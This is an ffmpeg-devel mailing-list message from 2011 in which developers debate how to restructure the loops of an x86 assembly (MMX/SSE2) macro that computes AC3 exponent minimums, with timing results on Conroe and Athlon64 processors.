On 01/16/2011 07:14 PM, Justin Ruggles wrote: > On 01/16/2011 02:52 PM, Loren Merritt wrote: > >> On Sun, 16 Jan 2011, Justin Ruggles wrote: >> >>>>>> + sub offset1q, 256 >>>>>> + cmp offset1q, offsetq >>>>> >>>>> It is usually possible to arrange your pointers such that a loop ends with >>>>> an offset of 0, and then you can take the flags from the add/sub instead of >>>>> a separate cmp. >>>> >>>> Or check for underflow. ie jns >>>> >>>> sub offset1q, 256 >>>> js next >>>> top: >>>> ... >>>> sub offset1q, 256 >>>> jns top >>>> next: >>> >>> I don't think it's as simple as that for the inner loop in this case. >>> It doesn't decrement to 0, it decrements to the first block. If I make >>> offset1 lower by 256 and decrement to 0 it works, but then I have to add >>> 256 when loading from memory, and it ends up being slower than the way I >>> have it currently. >> >> The first iteration that doesn't run is when offset1q goes negative. >> That's good enough. Just remove the cmp and change jne to jae. > > The first iteration that doesn't run is when offset1q == offsetq, and > offsetq is always 0 to [80..256]-mm_size. > >> >> Or for the general case, don't undo the munging in the inner loop, munge >> the base pointer. Applying that to this function produces >> >> %macro AC3_EXPONENT_MIN 1 >> cglobal ac3_exponent_min_%1, 3,4,1, exp, reuse_blks, offset, expn >> cmp reuse_blksd, 0 >> je .end >> sal reuse_blksd, 8 >> mov expnd, reuse_blksd >> .nextexp: >> mov offsetd, reuse_blksd >> mova m0, [expq] >> .nextblk: >> %ifidn %1, mmx >> PMINUB_MMX m0, [expq+offsetq], m1 >> %else ; mmxext/sse2 >> pminub m0, [expq+offsetq] >> %endif >> sub offsetd, 256 >> jae .nextblk >> mova [expq], m0 >> add expq, mmsize >> sub expnd, mmsize >> jae .nextexp >> .end: >> REP_RET >> %endmacro >> >> ... which is 6x slower on Conroe x86_64, so I must have done something wrong. > > > Yeah, it's wrong in several ways. The outer loop is supposed to run > offset/mmsize times (offset is 80 to 256), step mmsize. The inner loop > is supposed to run reuse_blks times, step 256, for each outer loop > iteration. > > Reversing the outer loop seems unrelated to what you've mentioned. I > don't see how it helps. Is it actually faster to have an extra add > instead of an offset in the load and store? I tried this, and while the code certainly looks cleaner, the speed is the same. %macro AC3_EXPONENT_MIN 1 cglobal ac3_exponent_min_%1, 3,4,1, exp, reuse_blks, offset, exp1 cmp reuse_blksq, 0 je .end sal reuse_blksq, 8 sub offsetq, mmsize .nextexp: lea exp1q, [expq+reuse_blksq] mova m0, [expq] .nextblk: %ifidn %1, mmx PMINUB_MMX m0, [exp1q], m1 %else ; mmxext/sse2 pminub m0, [exp1q] %endif sub exp1q, 256 cmp exp1q, expq jne .nextblk mova [expq], m0 add expq, mmsize sub offsetq, mmsize jae .nextexp .end: REP_RET %endmacro > I think I get what you mean about adjusting base pointer though. I'll > try it. That actually made it slower by about 100 dezicycles on Athlon64. Not as bad as adjusting the offset in the inner loop, but still slower than the extra cmp. Also, changing those q to d makes it slower for me on Athlon64. -Justin | http://ffmpeg.org/pipermail/ffmpeg-devel/2011-January/106292.html | CC-MAIN-2014-42 | refinedweb | 521 | 74.19 |
It came as no great surprise that Richard G. Sloan took a leave from his tenured position at the University of Michigan's business school last summer to join an investment firm. Wall Street has stepped up its hiring of academics in recent years, and the 42-year-old Sloan is one of accounting's bona fide stars. But Sloan's explanation of why he left academia for Barclays Global Investors (BGI) is startling. "I just felt that BGI was getting ahead of me," he says. "I came here because this is where the leading edge in my area of research is now."
As one of more than 100 PhDs in BGI's employ, Sloan reinforces a cadre of highly credentialed brainpower that no university finance or economics department in the land can match. San Francisco-based BGI is descended from a firm founded in the 1960s, but it has parlayed its prowess in the field of quantitative investing into an astounding recent growth spurt. bgi has added $877 billion in funds since 2002, boosting its assets under management to $1.62 trillion and enthroning it above State Street (SST), Fidelity, and Vanguard as America's largest money manager.
Barclays Global Investors' original claim to fame was inventing the index fund, so it is fitting that the bulk of the wealth this prototypical "quant" shop manages—nearly $1.1 trillion—is invested in vehicles that replicate the Standard & Poor's 500-Stock index and other indexes. However, Sloan and the other brainiacs that BGI continues to hire away from elite institutions around the world are not preoccupied with devising clever new ways to match market returns. Rather, they seek to do something that the efficient-market theories on which the firm was founded held to be impossible: to systematically beat the market.
HARD DATA VS. HEROICS
In its own quietly methodical fashion, BGI has indeed topped many indexes with remarkable consistency by overweighting its investment in certain of their component securities—a conservative quant technique known as "tilting" or "enhancing." In fact, every one of BGI's 19 principal stock market tilt strategies has outpaced its benchmark over periods ranging from 4 to 20 years. Add the gains produced by more aggressive vehicles such as hedge funds, and over the last five years BGI has generated a colossal $19.9 billion above the market return—or "alpha," in investment parlance—for the 2,800 pension funds and other institutional investors that are its clients.
Long dismissed on Wall Street as a think tank that runs money on the side, the firm and its eggheads have also engineered a tenfold rise in profits since 2001. BGI, a subsidiary of British bank Barclays PLC (BCS), is likely to take in more than $1.6 billion in pretax profits this year, contributing to its parent company's much promoted allure as a takeover target. BGI, which began as the investment arm of Wells Fargo Bank (WFC), was acquired by Barclays in 1995 for $443 million—a great bargain, as it has turned out.
"When we first started, we were a bunch of guys who stared at our shoes at cocktail parties," says Richard C. Grinold, a former University of California at Berkeley finance professor who is BGI's senior research guru. "But now the rest of the world has to react to us."
BGI's ascendance highlights the coming of age of quantitative investing, which seeks to purge money management of human fallibility through the rigorous application of the scientific method. "The goal is to replace heroic personalities contending in an atmosphere of greed and fear with compelling hypotheses subjected to hard data," declared Grinold and longtime colleague Ronald N. Kahn in a recent manifesto.
Fine, but how exactly does Barclays go about outsmarting the markets on such a scale? To find out, BusinessWeek interviewed scores of BGI's alpha-seeking males and females, sat in on a brainstorming session of its Asian equities research group, and huddled with a portfolio manager on its trading desk as she put the firm's "portfolio optimizer" smoothly through its high-tech paces.
This deep look into the workings of the planet's largest quant shop abounds with informative lessons for the average investor. Unfortunately, though, they add up to this simple, humbling imperative: Get thee to an index fund. Now.
You and I can no more hope to do what BGI does than we can to rival such famously heroic stockpicking personalities as Warren Buffett and Peter Lynch. Quant investing BGI-style requires fluency in applied mathematics as well as access to the prodigious computing power needed to continuously crunch the numbers for 10,000 stocks and 2,500 debt issues and execute thousands of trades a day. With 2,640 employees spread among 11 offices around the world, BGI is the largest quant manager by a wide margin.
Much ink has been spilled over the rapid growth of hedge funds and their increasingly aggressive alpha-seeking tactics. Meanwhile, a less publicized but equally telling shift is taking place at the opposite end of the risk-reward spectrum, as the soaring popularity of exchange-traded funds (ETFs) breathes new life into indexing, BGI's original forte. In the U.S. alone, ETF assets under management topped $450 billion in 2006, up from $102 billion in 2002. BGI dominates the ETF business with a 60% market share, according to Morgan Stanley.
The explosive emergence of both risk-intensive hedge funds and risk-averse ETFs can be explained by a single concept that is transforming the big-money world of institutional investing: alpha-beta separation. The basic idea is to lock in a market return (the beta part) on one end with low-cost index funds of one sort or another. On the other, pay up to put money into "alternative strategies" run by managers with a proven ability to beat the market (the alpha part).
A recent study by McKinsey & Co. found that by the end of 2005, "higher alpha and cheap beta products" accounted for 50% of all institutional assets under management, double the figure in 2003. "The warning bells have already begun to toll for many traditional firms not willing to depart from their business-as-usual approach," McKinsey noted. Investment management consultant Casey, Quirk & Associates concurs, predicting that nearly half of the world's 50 largest money management firms "are not going to be around in their present form for much longer."
As the inventor of indexing, BGI has been separating alpha and beta since its founding. "The world has come BGI's way," says John F. Casey, Casey Quirk's chairman and a longtime BGI champion. "I don't think a lot of clients consciously decided that they wanted to shift to quants so much as they wanted to go with someone who knows exactly what risks they are taking and will do what they say they will do. And that's BGI."
In traditional circles, quant has been derided as "black box" investing for its reliance on computer models comprehensible only to the double-domes who created them. The black box survives today in the more mystifying form of investing techniques derived from fuzzy logic, neural networks, Markov chains, and other nonlinear probability models.
As epitomized by BGI, though, modern quant investing is grounded in the same economic fundamentals that preoccupy mainstream analysts, though quants amass much more data and massage it more systematically than anyone else does. Another key difference is that quants ignore the story behind the numbers. The whole sprawling human drama of business is of no interest to Barclays researchers, who never venture out to call on a company or tour a store or a factory. If a thing cannot be measured and factored into an investment hypothesis for testing against historical data, BGI has no use for it.
Quants also are far more mindful of risk, as measured mainly by price volatility. Traditional portfolio managers tend to heighten risk by concentrating their investments in a relative handful of companies that they believe will beat the market averages over the long run. Instead of angling to get in early on the next Wal-Mart (WMT)or Microsoft (MSFT), BGI spreads its bets across a broad market swath, frequently trading in and out to exploit small pricing anomalies. The firm's $19.9 billion in alpha represents just 1.64% above the market return, on average.
Quant is no investing panacea, however. Historically, its practitioners have fared better in periods when value trumps growth and have tended to flounder at the fringes of the markets, where data tend to be spotty. Quant's by-the-book formalism and dependence on historical data also leave its devotees particularly vulnerable to the manias and panics that disrupt markets at irregular intervals. The classic example is Long-Term Capital Management, a fixed-income superstar that boasted two Nobel Prize winners on its board. Highly levered LTCM imploded in 1998 under losses of $4.6 billion after the Russian government defaulted on a bond issue, disrupting credit markets worldwide.
It was another catastrophe—the pricking of the tech bubble in 2000—that marked the beginning of quant's rise. A trickle of new funds from safety-minded institutional investors grew into a torrent as BGI, LSV Asset Managment, Enhanced Investment Technologies, AQR Capital Management, and other top quant firms posted stellar returns in the buoyant, value-tilted markets of recent years. Each of the three firms that sit atop the latest hedge-fund rankings is a quant master of long standing: Goldman Sachs (GS), Bridgewater Associates, and D.E. Shaw. (BGI ranks fifth, with $17 billion in hedge fund money.)
By contrast, the typical active money manager has struggled. Over the last five years the s&p 500-stock index has outperformed 71% of large-cap funds, the s&p MidCap 400 has topped 83.6% of mid-cap funds, and the s&p SmallCap 600 has bested 80.5% of small-cap funds, according to Standard & Poor's, a unit of The McGraw-Hill Companies (MHP), which also owns BusinessWeek.
STUDENT UNION CHIC
BGI goes to great lengths to limit its exposure to human error by using computer technology to automate every investment process it can, including trading. And yet the ambiance at BGI's headquarters, in an office tower a block south of Market Street in downtown San Francisco, is much more coffee-stained grad school seminar room than antiseptic computer lab. For if the only investment ideas that count at BGI are those that can be expressed in software code, they usually begin as a flash of insight in the mind of someone like Xiaowei Li, one of BGI's 140 research officers.
Nov. 17, 2006, saw a milestone in Li's nascent career as an alpha hunter: her first presentation to BGI's Asia equities research group. The China-born Li brought impeccable credentials to the task, including degrees from Princeton University (a master's in economics and public policy) and Stanford University (a PhD in economics).
Li is the leader of a project analyzing non-Japanese Asian banks. The object is to identify statistical factors—or "signals," in quant speak—to help BGI determine which of the many banks traded in Hong Kong, South Korea, Indonesia, India, and other countries are undervalued in the stock market and which are overvalued. A signal highlights a market inefficiency; good ones are rare and often prove a juicy source of alpha.
Li, who had just returned from a swing through southeast Asia that included stops in Hong Kong and Macao, began her presentation by passing around a list of 25 potential signals.Li's ideas were sketchily annotated, but that was to be expected at this early stage. The meeting was just an inaugural brainstorming session, not a PhD thesis defense.
Gathered around a table in a small conference room on the 28th floor of BGI headquarters were a half-dozen of Li's peers, plus her manager and the co-heads of the overall Asian research effort, Ernie Chow and Jonathan Howe, both of whom joined BGI in 1999 and were the fortysomething graybeards of the group. Everyone in the room had either a PhD or a master's degree in financial engineering. The disciplines represented included physics, applied mathematics, and operations research, as well as finance and economics.
Li stood throughout most of the two-hour meeting, the better to scrawl phrases and formulas on the floor-to-ceiling whiteboard behind her. The discussion was highly technical and surprisingly lively. Who knew pre-provision operating expenses could be such a hoot? Chow and Howe took the lead in questioning Li, raising their voices only to talk over subordinates who on occasion were a bit overeager to comment.
Li held her own throughout, demonstrating impressive command of Asian banking arcana even as she acknowledged the limits of her knowledge, and smilingly accepted suggestions for further research. Afterward, Howe described the session as "pretty productive," even though the group hadn't even made it halfway through Li's list.
Li's bank study is one of a dozen projects in Asian equities alone. At any given time, 50 to 60 more alpha quests are in the works across BGI's other research areas: U.S. and European equities, fixed income, and global macro, which handles cross-border investing, currencies, and commodities. In 2006, Barclays spent $120 million—10% of its total budget—on research. In the scale of its commitment to commercial innovation through research and development, BGI is the Bell Labs of high finance.
"What's really distinctive about BGI is the research effort. They throw a lot of resources at getting the best people and the best systems they can," says David F. Deutsch, chief investment officer at the San Diego County Employees Retirement Assn., a BGI client that ranks as one of the U.S.'s top-performing public pension funds. "What they do has to work, and it also has to speak to guys like me, who think about this stuff but who are not in the trading pits every day."
Like other quants, BGI regards its investment signals as trade secrets and guards them accordingly. Here, the traditional academic imperative of publish or perish has been turned on its head: If you publish (or otherwise spill the beans), you will perish.
BGI comes up with scores of new signals every year, most of which are refinements of existing strategies rather than brand new, market-thumping ideas. The global macro group came up with a notable example of the latter by devising a set of signals that can pinpoint the timing of an economy's pivot from recession to expansion. By buying a country's stocks and shorting its bonds before its recovery was generally recognized, BGI's Global Ascent fundwas able to generate total alpha of 4% in 2005 and 2006. To date, BGI has used this strategy in 15 countries and plans to apply it to perhaps 10 more.
BGI's researchers seek inspiration indiscriminately. "We will beg, borrow, or steal ideas from wherever we can," says Kenneth F. Kroner, a 12-year veteran who heads BGI's global macro area. "Richard [Grinold] likes to say that we have no pride whatsoever."
BGI has a line or two into every top research university and makes determined use of its connections to get the most promising academic research before it starts to circulate. Every year, BGI brings in a couple dozen leading scholars to present their latest work in the sort of disputatious seminars that are a staple of campus life. Professors are generally flattered by the attention and open to remunerative arrangements, including paid consulting gigs. Of course, the best way to proprietize an academic's leading-edge insights is to pay his salary.
Richard Sloan's hiring was the culmination of an 11-year relationship with BGI. He was an unknown assistant professor at the Wharton School when he made his breakthrough discovery of the so-called accruals anomaly in the early 1990s. The investment implications of Sloan's findings were so momentous that they were generally presumed to be erroneous. The young professor was unable to persuade an academic journal to publish his findings until 1996, about a year after BGI invited him to San Francisco for a private seminar. "BGI was the first place to really pick up on my work," Sloan says.
What he found was that the stock market is slow to differentiate between good old cash flow and noncash accruals, such as changes in reserves for inventory levels and bad debts. By buying stocks of companies with the highest-quality earnings and shorting those most dependent on accruals, an investor could lock in 12% alpha. Analytical refinements noted in a second paper that was presented first at BGI in 2000 (and finally published in 2005) boosted the excess return to a gaudy 20%.
Sloan's assertion that BGI now sets the pace in earnings-quality research annoys many academics in the field. They include Russell J. Lundholm, who chairs the accounting department at the University of Michigan at Ann Arbor's Ross School of Business, from which Sloan is on leave. "I can't believe the cutting edge is at BGI or any other firm," says Lundholm, who still jogs with Sloan when he's in town.
Of course, Lundholm doesn't know exactly what BGI knows, because not even Sloan was allowed a glimpse inside the firm's quality "bucket" until he became an employee. Inside he found 15 specific signals, including "a bunch of things that were new to me," Sloan says. Even as individual signals have come and gone, earnings quality has been BGI's single richest source of alpha over the last decade.
One of Sloan's closest academic colleagues, fellow Aussie Scott Richardson, joined BGI about the same time. Richardson took a leave from Wharton, where he is an assistant professor of accounting, to be BGI's director of U.S. credit research. In his first weeks there, he compiled a long list of highly specific research ideas for his boss, fixed income chief Peter J. Knez. "These are just things I see because I'm coming in from the outside and am closer to current academic research," he says.
Whatever a new idea's provenance, as a rule, BGI will not deem it portfolio-worthy unless it first passes four tests. In BGI speak, they are collectively known as SPCA, for Sensible, Predictive, Consistent, and Additive.
To start, a researcher must construct a hypothesis that makes basic economic sense. For Xiaowei Li, this means converting her list into a one-page "sensibility document" capable of persuading the firm to authorize the expense of empirical testing. Evidence must be assembled showing that the signal not only outperformed in the past but that it can predict future above-market returns. The opportunity to realize these returns must be consistently available, even in volatile markets. Finally, the idea cannot be an old notion repackaged to seem new but must add insight that is truly fresh.
Surprisingly, it is the initial criterion—sensibility—that is hardest to meet, with 40% to 50% of proposals failing to make the grade. "The key is the S factor," says Kahn, who has a PhD in physics from Harvard. "It's so easy to be fooled by the data into mistaking patterns in the data for a sensible hypothesis."
Sponsors of proposals authorized for testing usually spend a few months sifting data and assembling a so-called SPCA report of 20 to 25 pages. It is reviewed both by a group of senior research colleagues and a third-party referee. About a third of all refereed proposals are rejected.
Once approved, a new signal is added to one or more of the computer models BGI uses to forecast returns (or expected alphas) for each of the 12,500 stocks and bonds it tracks. BGI portfolio managers turn such strategies into investment portfolios for clients by running its return forecasts through an "optimization engine" that takes into account numerous risk factors as well as trading costs and spits out a trade list in the form of an Excel spreadsheet. The whole process takes 10 minutes or less.
How much bigger can BGI get? The short answer: a whole lot—and therein lies the danger.
As the world's largest indexer, BGI appears unassailable on the beta side of the great divide that is transforming institutional investing. Remarkably, the firm's iShares brand has taken a growing share of the ETF business even as it has grown by leaps and bounds.
But if the index business is congenial to scale, the history of active management is littered with the corpses of firms that let their market-beating prowess attract more money than they could handle. Within quantdom, the question of whether alpha exists as a finite market commodity is a topic of debate. Unquestionably, though, the shift of vast sums into quant hands is making alpha more elusive. "The fact that there are more and more quants chasing the same sort of factors will shrink the alphas from those factors gradually," acknowledges Robert C. Jones, who runs Goldman's equity quant effort.
BGI's top executives seem acutely aware that galloping growth could undermine the rigor and integrity of the firm's investment methods. Having more than tripled assets under active management, to $370 billion, over the past three years, BGI has closed many of its market-beating strategies to new investment, at least temporarily.
This doesn't mean, though, that Barclays is backing away from its pursuit of advantage through research. BGI's capital spending rose 30% in 2006 and "will only slacken if we run out of new ideas," says CEO Blake Grossman, who started at the firm in 1985 as a portfolio manager. "A half-dozen years ago, a couple of guys could make a difference. Now it takes dozens of people and terabytes of data to be competitive."
Recently, Duke University's David A. Hsieh, a leading hedge fund scholar, theorized that only $30 billion in alpha is realizable annually from the $30 trillion market value of all stock and bond markets worldwide. It was intended as a very rough estimate, but if BGI is extracting $4 billion to $5 billion a year, what chance do the rest of us have to top the averages?
Think of Barclays Global Investors as the Wall Street equivalent of one of those giant factory trawlers that have revolutionized commercial fishing. This super-quant methodically cruises global markets, sucking alpha from the depths while everyone else drifts about in rowboats, corks bobbing pathetically atop waters that are nearly fished out.
By Anthony Bianco | http://www.bloomberg.com/bw/stories/2007-01-21/outsmarting-the-market | CC-MAIN-2015-35 | refinedweb | 3,811 | 59.33 |
CHI::Memoize - Make functions faster with memoization, via CHI
version 0.05
use CHI::Memoize qw(:all); # Straight memoization in memory memoize('func'); memoize('Some::Package::func'); # Memoize to a file or to memcached memoize( 'func', driver => 'File', root_dir => '/path/to/cache' ); memoize( 'func', driver => 'Memcached', servers => ["127.0.0.1:11211"] ); # Expire after one hour memoize('func', expires_in => '1h'); # Memoize based on the second and third argument to func memoize('func', key => sub { $_[1], $_[2] });
"." -- quoted from the original Memoize
For a bit of history and motivation, see
CHI::Memoize provides the same facility as Memoize, but backed by CHI. This means, among other things, that you can
All of these are importable; only
memoize is imported by default.
use Memoize qw(:all) will import them all as well as the
NO_MEMOIZE constant.
Creates a new function wrapped around $func that caches results based on passed arguments.
$func can be a function name (with or without a package prefix) or an anonymous function. In the former case, the name is rebound to the new function. In either case a code ref to the new wrapper function is returned.
# Memoize a named function memoize('func'); memoize('Some::Package::func'); # Memoize an anonymous function $anon = memoize($anon);
By default, the cache key is formed from combining the full function name, the calling context ("L" or "S"), and all the function arguments with canonical JSON (sorted hash keys). e.g. these calls will be memoized together:
memoized_function({a => 5, b => 6, c => { d => 7, e => 8 }}); memoized_function({b => 6, c => { e => 8, d => 7 }, a => 5});
because the two hashes being passed are canonically the same. But these will be memoized separately because of context:
my $scalar = memoized_function(5); my @list = memoized_function(5);
By default, the cache namespace is formed from the full function name or the stringified code reference. This allows you to introspect and clear the memoized results for a particular function.
memoize throws an error if $func is already memoized.
Returns a CHI::Memoize::Info object if $func has been memoized, or undef if it has not been memoized.
# The CHI cache where memoize results are stored # my $cache = memoized($func)->cache; $cache->clear; # Code references to the original function and to the new wrapped function # my $orig = memoized($func)->orig; my $wrapped = memoized($func)->wrapped;
Removes the wrapper around $func, restoring it to its original unmemoized state. Also clears the memoize cache if possible (not supported by all drivers, particularly memcached). Throws an error if $func has not been memoized.
memoize('Some::Package::func'); ... unmemoize('Some::Package::func');
The following options can be passed to "memoize".
Specifies a code reference that takes arguments passed to the function and returns a cache key. The key may be returned as a list, list reference or hash reference; it will automatically be serialized to JSON in canonical mode (sorted hash keys).
For example, this uses the second and third argument to the function as a key:
memoize('func', key => sub { @_[1..2] });
and this is useful for functions that accept a list of key/value pairs:
# Ignore order of key/value pairs memoize('func', key => sub { %@_ });
Regardless of what key you specify, it will automatically be prefixed with the full function name and the calling context ("L" or "S").
If the coderef returns
CHI::Memoize::NO_MEMOIZE (or
NO_MEMOIZE if you import it), this call won't be memoized. This is useful if you have a cache of limited size or if you know certain arguments will yield nondeterministic results. e.g.
memoize('func', key => sub { $is_worth_caching ? @_ : NO_MEMOIZE });
You can pass any of CHI's set options (e.g. expires_in, expires_variance) or get options (e.g. expire_if, busy_lock). e.g.
# Expire after one hour memoize('func', expires_in => '1h'); # Expire when a particular condition occurs memoize('func', expire_if => sub { ... });
Any remaining options will be passed to the CHI constructor to generate the cache:
# Store in file instead of memory memoize( 'func', driver => 'File', root_dir => '/path/to/cache' ); # Store in memcached instead of memory memoize('func', driver => 'Memcached', servers => ["127.0.0.1:11211"]);
Unless specified, the namespace is generated from the full name of the function being memoized.
You can also specify an existing cache object:
# Store in memcached instead of memory my $cache = CHI->new(driver => 'Memcached', servers => ["127.0.0.1:11211"]); memoize('func', cache => $cache);
By default
CHI, and thus
CHI::Memoize, returns a deep clone of the stored value even when caching in memory. e.g. in this code
# func returns a list reference memoize('func'); my $ref1 = func(); my $ref2 = func();
$ref1 and
$ref2 will be references to two completely different lists which have the same contained values. More specifically, the value is serialized by Storable on
set and deserialized (hence cloned) on
get.
The advantage here is that it is safe to modify a reference returned from a memoized function; your modifications won't affect the cached value.
my $ref1 = func(); push(@$ref1, 3, 4, 5); my $ref2 = func(); # $ref2 does not have 3, 4, 5
The disadvantage is that it takes extra time to serialize and deserialize the value, and that some values like code references may be more difficult to store. And cloning may not be what you want at all, e.g. if you are returning objects.
Alternatively you can use CHI::Driver::RawMemory, which will store raw references the way
Memoize does. Now, however, any modifications to the contents of a returned reference will affect the cached value.
memoize('func', driver => 'RawMemory'); my $ref1 = func(); push(@$ref1, 3, 4, 5); my $ref2 = func(); # $ref1 eq $ref2 # $ref2 has 3, 4, 5
The caveats of Memoize apply here as well. To summarize:
A number of modules address a subset of the problems addressed by this module, including:
Questions and feedback are welcome, and should be directed to the perl-cache mailing list:
Bugs and feature requests will be tracked at RT: bug-chi-memoize@rt.cpan.org
The latest source code can be browsed and fetched at: git clone git://github.com/jonswar/perl-chi-memoize.git
Jonathan Swartz <swartz@pobox.com>
This software is copyright (c) 2011 by Jonathan Swartz.
This is free software; you can redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself. | http://search.cpan.org/~jswartz/CHI-Memoize-0.05/lib/CHI/Memoize.pm | CC-MAIN-2017-39 | refinedweb | 1,056 | 51.28 |
This is a concept for the management of the skill repository aka The “SUSI Skill CMS“.
With SUSI we are building a personal assistant where the users are able to write and edit skills in the easiest way that we can think of. To do that we have to develop a very simple skill language and a very simple skill editor
The skill editor should be done as a ‘wiki’-like content management system (cms). To create the wiki, we follow an API-centric approach. The SUSI server acts as an API server with a web front-end which acts as a client of the API and provides the user interface.
The skill editor will be ‘expert-centric’, an expert is a set of skills. That means if we edit one text file, that text file represents one expert, it may contain several skills which all belong together.
An ‘expert’ is stored within the following ontology:
model > group > language > expert > skill
To Implement the CMS wiki system we need versioning with a working AAA System. To implement versioning we used JGit. JGit is an EDL licensed, lightweight, pure Java library implementing the Git version control system.
So I included a Gradle dependency to add JGit to the SUSI Server project.
compile 'org.eclipse.jgit:org.eclipse.jgit:4.6.1.201703071140-r'
Now the task was to execute git commands when the authorised user makes changes in any of the expert. The possible changes in an expert can be
1. Creating an Expert
2. Modifying an existing Expert
3. Deleting an Expert
1. git add <filename>
2. git commit -m “commit message”
Real Example in SUSI Server
This is the code that every servlet shares. It defines the base user role set a URL endpoint to trigger the endpoint
public class ModifyExpertService extends AbstractAPIHandler implements APIHandler { @Override public String getAPIPath() { return "/cms/modifyExpert.json"; }
This is the part where we do all the processing of the URL parameters and store their versions. This method takes the “Query call” and then extracts the “get” parameters from it.
For the functioning of this service, we need 5 things, “model”, “group”, “language”, “expert” and the “commit message”.
expert_name = call.get("expert", null); File expert = new File(language, expert_name + ".txt");
Then we need to open your SUSI Skill DATA repository and commit the new file in it. Here we call the functions of JGit, which do the work of git add and git commit.
FileRepositoryBuilder builder = new FileRepositoryBuilder(); Repository repository = null; try { repository = builder.setGitDir((DAO.susi_skill_repo)) .readEnvironment() // scan environment GIT_* variables .findGitDir() // scan up the file system tree .build(); try (Git git = new Git(repository)) {
The code above opens our local git repository and creates an object “git”. Then we perform further operations on “git” object. Now we add our changes to “git”. This is similar to when we run “git add . ”
git.add() .addFilepattern(expert_name) .call();
Finally, we commit the changes. This is similar to “git commit -m “message”.
git.commit() .setMessage(commit_message) .call();
At last, we return the success object and set the “accepted” value as “true”.
json.put("accepted", true); return new ServiceResponse(json); } catch (GitAPIException e) { e.printStackTrace(); }
Resources
JGit documentation :
SUSI Server : | http://blog.fossasia.org/tag/personal-assistant/ | CC-MAIN-2017-30 | refinedweb | 534 | 57.67 |
Hey guys. I coded the following program below: but I have a problem... I think its perhaps the logic I have used is not too good... here it goes...
The program below should: ask the user to enter a letter ('a' to 'z' or 'A' to 'Z') and outputs VOWEL or CONSONANT depending upon the input. You should use a switch statement to identify the vowels and cascade these cases togther. If the user types in a character which is not a letter you should print out the message NOT-A-LETTER.
I get the program to do all of these but when I execute it and say I type in A the output I get is A is a Vowel and then A is a CONSONANT as well<< its this extra bit which is my problem... It shows that all the Vowels are vowels but are also Consonants which dose not make sense.
Here is the c code:
#include <stdio.h> #include "simpleio.h" int main() // This program has the BOTH feature added to it { char letter; printf("Please enter a letter 'A'-'Z' or 'a'-'z' : \n"); letter = getchar(); if ((letter >= 'A' && letter <= 'Z' ) || (letter >='a' && letter <= 'z')) { printf(" %c is a CONSONANT\n", letter); } else { printf("NOT-A-LETTER\n"); } switch(letter) { case 'A' : printf(" A is a vowel\n"); break; case 'a' : printf(" a is a vowel\n"); break; case 'E' : printf(" E is a vowel\n"); break; case 'e' : printf(" e is a vowel\n"); break; case 'I' : printf(" I is a vowel\n"); break; case 'i' : printf(" i is a vowel\n"); break; case 'O' : printf(" O is a vowel\n"); break; case 'o' : printf(" o is a vowel\n"); break; case 'U' : printf(" U is a vowel\n"); break; case 'u' : printf(" u is a vowel\n"); break; case 'Y' : printf(" Y is BOTH\n "); break; case 'y' : printf(" y is BOTH\n "); break; } return 0; }
many thanks hope you can help me out.
Edited 6 Years Ago by WaltP: Added CODE tags -- with all the help about them, how could you miss using them???? | https://www.daniweb.com/programming/software-development/threads/258521/c-programming-help-please-really-simple-i-just-cant | CC-MAIN-2016-50 | refinedweb | 352 | 69.15 |
On Mon, Apr 25, 2005 at 12:02:43 -0700, Bryan Henderson wrote:> >mknamespace -p users/$UID # (like mkdir -p)> >setnamespace users/$UID # (like cd)> ^^^^^^^^> > You realize that 'cd' is a shell command, and has to be, I hope. That > little fact has thrown a wrench into many of the ideas in this thread.You don't want to have such command, really! What you want is a PAMmodule, that looks whether there is already a session for that user andswitches to it's namespace, if it does. Remember that it's namespace- it can be first created, then attached and then populated with mounts.------------------------------------------------------------------------------- Jan 'Bulb' Hudec <bulb@ucw.cz>[unhandled content-type:application/pgp-signature] | http://lkml.org/lkml/2005/4/26/78 | CC-MAIN-2017-22 | refinedweb | 117 | 71.14 |
Odoo Help
Odoo is the world's easiest all-in-one management software. It includes hundreds of business apps:
CRM | e-Commerce | Accounting | Inventory | PoS | Project management | MRP | etc.
When Modified my fields my merge field not update?
Hi all,
I need your help to fix this, when I update my fields street and street2 the abs_completeadd field is not update.
When I create the record example street = "no 45 avenue street" street2= "xxxxx" my merge field abs_completeadd = "No 45 Avenue Street Xxxxx" but when I modified my fields, my abs_completeadd field is not update. I got no error, then I tried to look on the database two fields updated but my merged abs_completeadd field is not.
Thanks
_columns = {
'abs_street': fields.char('Street', size=128, store=False),
'abs_street2': fields.char('Street2', size=128, store=False),
'abs_provinces_id': fields.many2one('abs.provinces', 'Province'),
'abs_cities_id': fields.many2one('abs.cities', 'City'),
'abs_completeadd': fields.char('Address', size=128),
}
def create(self, cr, uid, vals, context=None):
abs_completeadd = str(vals['abs_street'] or '') + ' ' +str(vals[)
Because you only update the abs_completeadd in create method. You need to also inherit the write method to do so. Now, there are several things in write that is more complicated than create:
- user may update only abs_street (in which case vals['abs_street2'] will return KeyError) or only abs_street2 (in which case vals['abs_street'] will return KeyError) or even did not update both fields (update other field that are not abs_street or abs_street2). So, you might want to first read (or browse) the record first and then use the old value as default. To avoid KeyError you want to use vals.get('abs_street2', '') instead of vals['abs_street2'] or ''.
- write (can) work with multiple IDs. So, since if abs_street2 and/or abs_street not updated you did not get the value, you want to put the necessary codes inside of the for loop that loop through all ids.
This is what you mean sir? I will try this later and update here. Thanks for your kind
def create(self, cr, uid, vals, context=None):
abs_completeadd = str(vals.get['abs_street'] or '') + ' ' +str(vals.get[)
You're just repeating the create method inherit that you have specified earlier. You need to inherit the write method.
Hi John, can you give an example method inherit you've said, I am newbie in Odoo7 Thanks
What you did for method create is inheriting (overriding). You just need to do something similar to write method. You can find some examples in openerp/addons/base/res/res_partner.py itself on who to inherit write method.
About This Community
Odoo Training Center
Access to our E-learning platform and experience all Odoo Apps through learning videos, exercises and Quizz.Test it now | https://www.odoo.com/forum/help-1/question/when-modified-my-fields-my-merge-field-not-update-69041 | CC-MAIN-2017-17 | refinedweb | 451 | 66.74 |
Before I have to end it all can anyone help me? I am new to Java but not totally new to programming and I work in I.T.
I have an assignment for college (which is now late : - ( where I have to take the classic cannon game by Budd and make it more OOP by subdividing the mass of code in one file into seperate classes that interact and pass messages to each other. I am having problems with the paint method.
Its a simple program that draws a cannon and target as a series of lines. If I include the paint method (and all the code to draw the lines) in the main class (i.e containing the main method) it will draw to the frame. If I remove this code into a subclass and pass all the variables to generate the lines/boxes (i.e x,y coordinates, height, width) it won't redraw. I am at my wits end at this stage. All the code examples I have seen on the web would imply it should work.
